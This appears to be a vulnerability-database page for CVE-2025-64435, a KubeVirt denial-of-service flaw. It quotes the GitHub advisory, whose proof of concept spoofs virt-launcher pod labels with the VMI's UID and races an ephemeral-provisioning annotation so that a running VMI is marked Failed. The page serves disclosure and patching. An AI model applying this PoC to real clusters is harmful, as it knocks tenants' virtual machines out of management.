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KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation

CVSS 3.1 5.3 MEDIUMEUVD CVSS 3.1 5.3 CVSS 3.1 · [email protected] · Secondary 5.3 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by kubevirt.io/kubevirt 1.7.0-beta.0osv · severity unknownFixed by kubevirt.io/kubevirt 1.7.0-beta.0KEV status unknown

cve-program · CVE-2025-64435

Published

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.7.0-beta.0, a logic flaw in the virt-controller allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate virt-launcher pod associated with the VMI. This can mislead the virt-controller into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service). This vulnerability is fixed in 1.7.0-beta.0.

Read the publisher's advisory

euvd · EUVD-2025-38215

Published

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.7.0-beta.0, a logic flaw in the virt-controller allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate virt-launcher pod associated with the VMI. This can mislead the virt-controller into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service). This vulnerability is fixed in 1.7.0-beta.0.

Read the publisher's advisory

nvd · CVE-2025-64435

Published

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.7.0-beta.0, a logic flaw in the virt-controller allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate virt-launcher pod associated with the VMI. This can mislead the virt-controller into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service). This vulnerability is fixed in 1.7.0-beta.0.

Read the publisher's advisory

osv · GHSA-9m94-w2vq-hcf9

Published

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. A logic flaw in the `virt-controller` allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate `virt-launcher` pod associated with the VMI. This can mislead the `virt-controller` into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ A vulnerability has been identified in the logic responsible for reconciling the state of VMI. Specifically, it is possible to associate a malicious attacker-controlled pod with an existing VMI running within the same namespace as the pod, thereby replacing the legitimate `virt-launcher` pod associated with the VMI. The `virt-launcher` pod is critical for enforcing the isolation mechanisms applied to the QEMU process that runs the virtual machine. It also serves, along with `virt-handler`, as a management interface that allows cluster users, operators, or administrators to control the lifecycle of the VMI (e.g., starting, stopping, or migrating it). When `virt-controller` receives a notification about a change in a VMI's state, it attempts to identify the corresponding `virt-launcher` pod. This is necessary in several scenarios, including: - When hardware devices are requested to be hotplugged into the VMI—they must also be hotplugged into the associated `virt-launcher` pod. - When additional RAM is requested—this may require updating the `virt-launcher` pod's cgroups. - When additional CPU resources are added—this may also necessitate modifying the `virt-launcher` pod's cgroups. - When the VMI is scheduled to migrate to another node. The core issue lies in the implementation of the `GetControllerOf` function, which is responsible for determining the controller (i.e., owning resource) of a given pod. In its current form, this logic can be manipulated, allowing an attacker to substitute a rogue pod in place of the legitimate `virt-launcher`, thereby compromising the VMI's integrity and control mechanisms. ```go //pkg/controller/controller.go func CurrentVMIPod(vmi *v1.VirtualMachineInstance, podIndexer cache.Indexer) (*k8sv1.Pod, error) { // Get all pods from the VMI namespace which contain the label "kubevirt.io" objs, err := podIndexer.ByIndex(cache.NamespaceIndex, vmi.Namespace) if err != nil { return nil, err } pods := []*k8sv1.Pod{} for _, obj := range objs { pod := obj.(*k8sv1.Pod) pods = append(pods, pod) } var curPod *k8sv1.Pod = nil for _, pod := range pods { if !IsControlledBy(pod, vmi) { continue } if vmi.Status.NodeName != "" && vmi.Status.NodeName != pod.Spec.NodeName { // This pod isn't scheduled to the current node. // This can occur during the initial migration phases when // a new target node is being prepared for the VMI. continue } // take the most recently created pod if curPod == nil || curPod.CreationTimestamp.Before(&pod.CreationTimestamp) { curPod = pod } } return curPod, nil } ``` ```go // pkg/controller/controller_ref.go // GetControllerOf returns the controllerRef if controllee has a controller, // otherwise returns nil. func GetControllerOf(pod *k8sv1.Pod) *metav1.OwnerReference { controllerRef := metav1.GetControllerOf(pod) if controllerRef != nil { return controllerRef } // We may find pods that are only using CreatedByLabel and not set with an OwnerReference if createdBy := pod.Labels[virtv1.CreatedByLabel]; len(createdBy) > 0 { name := pod.Annotations[virtv1.DomainAnnotation] uid := types.UID(createdBy) vmi := virtv1.NewVMI(name, uid) return metav1.NewControllerRef(vmi, virtv1.VirtualMachineInstanceGroupVersionKind) } return nil } func IsControlledBy(pod *k8sv1.Pod, vmi *virtv1.VirtualMachineInstance) bool { if controllerRef := GetControllerOf(pod); controllerRef != nil { return controllerRef.UID == vmi.UID } return false } ``` The current logic assumes that a `virt-launcher` pod associated with a VMI may not always have a `controllerRef`. In such cases, the controller falls back to inspecting the pod's labels. Specifically it evaluates the `kubevirt.io/created-by` label, which is expected to match the UID of the VMI triggering the reconciliation loop. If multiple pods are found that could be associated with the same VMI, the `virt-controller` selects the most recently created one. This logic appears to be designed with migration scenarios in mind, where it is expected that two `virt-launcher` pods might temporarily coexist for the same VMI: one for the migration source and one for the migration target node. However, a scenario was not identified in which a legitimate `virt-launcher` pod lacks a `controllerRef` and relies solely on labels (such as `kubevirt.io/created-by`) to indicate its association with a VMI. This fallback behaviour introduces a security risk. If an attacker is able to obtain the UID of a running VMI and create a pod within the same namespace, they can assign it labels that mimic those of a legitimate `virt-launcher` pod. As a result, the `CurrentVMIPod` function could mistakenly return the attacker-controlled pod instead of the authentic one. This vulnerability has at least two serious consequences: - The attacker could disrupt or seize control over the VMI's lifecycle operations. - The attacker could potentially influence the VMI's migration target node, bypassing node-level security constraints such as `nodeSelector` or `nodeAffinity`, which are typically used to enforce workload placement policies. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ Consider the following VMI definition: ```yaml apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: name: launcher-label-confusion spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: cloudinitdisk disk: bus: virtio resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` ```bash # Deploy the launcher-label-confusion VMI operator@minikube:~$ kubectl apply -f launcher-confusion-labels.yaml # Get the UID of the VMI operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.metadata.uid}' 18afb8bf-70c4-498b-aece-35804c9a0d11 # Find the UID of the associated to the VMI `virt-launcher` pods (ActivePods) operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}' {"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"} ``` The UID of the VMI can also be found as an argument to the container in the `virt-launcher` pod: ```bash # Inspect the `virt-launcher` pod associated with the VMI and the --uid CLI argument with which it was launched operator@minikube:~$ kubectl get pods virt-launcher-launcher-label-confusion-bdkwj -o jsonpath='{.spec.containers[0]}' | jq . { "command": [ "/usr/bin/virt-launcher-monitor", ... "--uid", "18afb8bf-70c4-498b-aece-35804c9a0d11", "--namespace", "default", ... ``` Consider the following attacker-controlled pod which is associated to the VMI using the UID defined in the `kubevirt.io/created-by` label: ```yaml apiVersion: v1 kind: Pod metadata: name: fake-launcher labels: kubevirt.io: intruder # this is the label used by the virt-controller to identify pods associated with KubeVirt components kubevirt.io/created-by: 18afb8bf-70c4-498b-aece-35804c9a0d11 # this is the UID of the launcher-label-confusion VMI which is going to be taken into account if there is no ownerReference. This is the case for regular pods kubevirt.io/domain: migration spec: restartPolicy: Never containers: - name: alpine image: alpine command: [ "sleep", "3600" ] ``` ```bash operator@minikube:~$ kubectl apply -f fake-launcher.yaml # Get the UID of the `fake-launcher` pod operator@minikube:~$ kubectl get pod fake-launcher -o jsonpath='{.metadata.uid}' 39479b87-3119-43b5-92d4-d461b68cfb13 ``` To effectively attach the fake pod to the VMI, the attacker should wait for a state update to trigger the reconciliation loop: ```bash # Trigger the VMI reconciliation loop operator@minikube:~$ kubectl patch vmi launcher-label-confusion -p '{"metadata":{"annotations":{"trigger-annotation":"quarkslab"}}}' --type=merge virtualmachineinstance.kubevirt.io/launcher-label-confusion patched # Confirm that fake-launcher pod has been associated with the VMI operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}' {"39479b87-3119-43b5-92d4-d461b68cfb13":"minikube", # `fake-launcher` pod's UID "674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"} # original `virt-launcher` pod UID ``` To illustrate the impact of this vulnerability, a race condition will be triggered in the `sync` function of the VMI controller: ```go // pkg/virt-controller/watch/vmi.go func (c *Controller) sync(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume) (common.SyncError, *k8sv1.Pod) { //... if !isTempPod(pod) && controller.IsPodReady(pod) { // mark the pod with annotation to be evicted by this controller newAnnotations := map[string]string{descheduler.EvictOnlyAnnotation: ""} maps.Copy(newAnnotations, c.netAnnotationsGenerator.GenerateFromActivePod(vmi, pod)) // here a new updated pod is returned patchedPod, err := c.syncPodAnnotations(pod, newAnnotations) if err != nil { return common.NewSyncError(err, controller.FailedPodPatchReason), pod } pod = patchedPod // ... func (c *Controller) syncPodAnnotations(pod *k8sv1.Pod, newAnnotations map[string]string) (*k8sv1.Pod, error) { patchSet := patch.New() for key, newValue := range newAnnotations { if podAnnotationValue, keyExist := pod.Annotations[key]; !keyExist || podAnnotationValue != newValue { patchSet.AddOption( patch.WithAdd(fmt.Sprintf("/metadata/annotations/%s", patch.EscapeJSONPointer(key)), newValue), ) } } if patchSet.IsEmpty() { return pod, nil } patchBytes, err := patchSet.GeneratePayload() // ... patchedPod, err := c.clientset.CoreV1().Pods(pod.Namespace).Patch(context.Background(), pod.Name, types.JSONPatchType, patchBytes, v1.PatchOptions{}) // ... return patchedPod, nil } ``` The above code adds additional annotations to the `virt-launcher` pod related to node eviction. This happens via an API call to Kubernetes which upon success returns a new updated pod object. This object replaces the current one in the execution flow. There is a tiny window where an attacker could trigger a race condition which will mark the VMI as failed: ```go // pkg/virt-controller/watch/vmi.go func isTempPod(pod *k8sv1.Pod) bool { // EphemeralProvisioningObject string = "kubevirt.io/ephemeral-provisioning" _, ok := pod.Annotations[virtv1.EphemeralProvisioningObject] return ok } ``` ```go // pkg/virt-controller/watch/vmi.go func (c *Controller) updateStatus(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume, syncErr common.SyncError) error { // ... vmiPodExists := controller.PodExists(pod) && !isTempPod(pod) tempPodExists := controller.PodExists(pod) && isTempPod(pod) //... case vmi.IsRunning(): if !vmiPodExists { // MK: this will toggle the VMI phase to Failed vmiCopy.Status.Phase = virtv1.Failed break } //... vmiChanged := !equality.Semantic.DeepEqual(vmi.Status, vmiCopy.Status) || !equality.Semantic.DeepEqual(vmi.Finalizers, vmiCopy.Finalizers) || !equality.Semantic.DeepEqual(vmi.Annotations, vmiCopy.Annotations) || !equality.Semantic.DeepEqual(vmi.Labels, vmiCopy.Labels) if vmiChanged { // MK: this will detect that the phase of the VMI has changed and updated the resource key := controller.VirtualMachineInstanceKey(vmi) c.vmiExpectations.SetExpectations(key, 1, 0) _, err := c.clientset.VirtualMachineInstance(vmi.Namespace).Update(context.Background(), vmiCopy, v1.UpdateOptions{}) if err != nil { c.vmiExpectations.LowerExpectations(key, 1, 0) return err } } ``` To trigger it, the attacker should update the `fake-launcher` pod's annotations before the check `vmiPodExists := controller.PodExists(pod) && !isTempPod(pod)` in `sync`, and between the check `if !isTempPod(pod) && controller.IsPodReady(pod)` in `sync` but before the patch API call in `syncPodAnnotations` as follows: ```yaml annotations: kubevirt.io/ephemeral-provisioning: "true" ``` The above annotation will mark the attacker pod as ephemeral (i.e., used to provision the VMI) and will fail the VMI as the latter is already running (provisioning happens before the VMI starts running). The update should also happen during the reconciliation loop when the `fake-launcher` pod is initially going to be associated with the VMI and its labels, related to eviction, updated. Upon successful exploitation the VMI is marked as failed and could not be controlled via the Kubernetes API. However, the QEMU process is still running and the VMI is still present in the cluster: ```bash operator@minikube:~$ kubectl get vmi NAME AGE PHASE IP NODENAME READY launcher-label-confusion 128m Failed 10.244.0.10 minikube False # The VMI is not reachable anymore operator@minikube:~$ virtctl console launcher-label-confusion Operation cannot be fulfilled on virtualmachineinstance.kubevirt.io "launcher-label-confusion": VMI is in failed status # The two pods are still associated with the VMI operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}' {"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube","ca31c8de-4d14-4e47-b942-75be20fb9d96":"minikube"} ``` ### Impact As a result, an attacker could provoke a DoS condition for the affected VMI, compromising the availability of the services it provides.

Read the publisher's advisory

osv · GO-2025-4105

Published

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation in kubevirt.io/kubevirt

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2025-64435

Published

kubevirt

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "kubevirt",
                    "product": "kubevirt",
                    "versions": [
                        {
                            "version": "< 1.7.0-beta.0",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2025-38215

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 7, 2025, 10:57:02 PM

dateUpdated: Nov 10, 2025, 7:01:13 PM

7 related source bulletins · separate from aliases

SUSE-SU-2026:0479-1: Security update for kubevirt, virt-api-container, virt-controller-container, virt-exportproxy-container, virt-exportserver-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container, virt-pr-helper-container, virt-synchronization-controller-container

CVE-2024-45310 · CVE-2025-64435

WID-SEC-W-2025-2563: Microsoft Azure Linux: Mehrere Schwachstellen

CVE-2024-25621 · CVE-2025-10966 · CVE-2025-12863 · CVE-2025-12875 · CVE-2025-31133 · CVE-2025-40107 · CVE-2025-40109 · CVE-2025-52565 · CVE-2025-52881 · CVE-2025-60753 · CVE-2025-62220 · CVE-2025-64329 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64436 · CVE-2025-64437

openSUSE-SU-2026:20281-1: Security update for kubevirt

CVE-2024-45310 · CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64437

SUSE-SU-2026:20610-1: Security update for kubevirt

CVE-2024-45310 · CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64437

SUSE-SU-2026:20571-1: Security update for kubevirt

CVE-2024-45310 · CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64437

SUSE-SU-2026:20551-1: Security update for kubevirt

CVE-2024-45310 · CVE-2025-22872 · CVE-2025-64324 · CVE-2025-64432 · CVE-2025-64433 · CVE-2025-64434 · CVE-2025-64435 · CVE-2025-64437

msrc_CVE-2025-64435: KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation

CVE-2025-64435

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2025-64435

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-703

Original publisher date fields

published: 2025-11-07T23:15:45.850

lastModified: 2026-06-17T09:54:22.827

2 source CPE criteria · context only
  • cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*
  • cpe:2.3:a:kubevirt:kubevirt:1.7.0:alpha0:*:*:*:kubernetes:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-9m94-w2vq-hcf9

Published

kubevirt.io/kubevirt

Go

SEMVER · introduced 0 → fixed 1.7.0-beta.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2025-4105

Published

kubevirt.io/kubevirt

Go

SEMVER · introduced 0 → fixed 1.7.0-beta.0

Original source record · Cite this exact observation · Complete original publisher JSON

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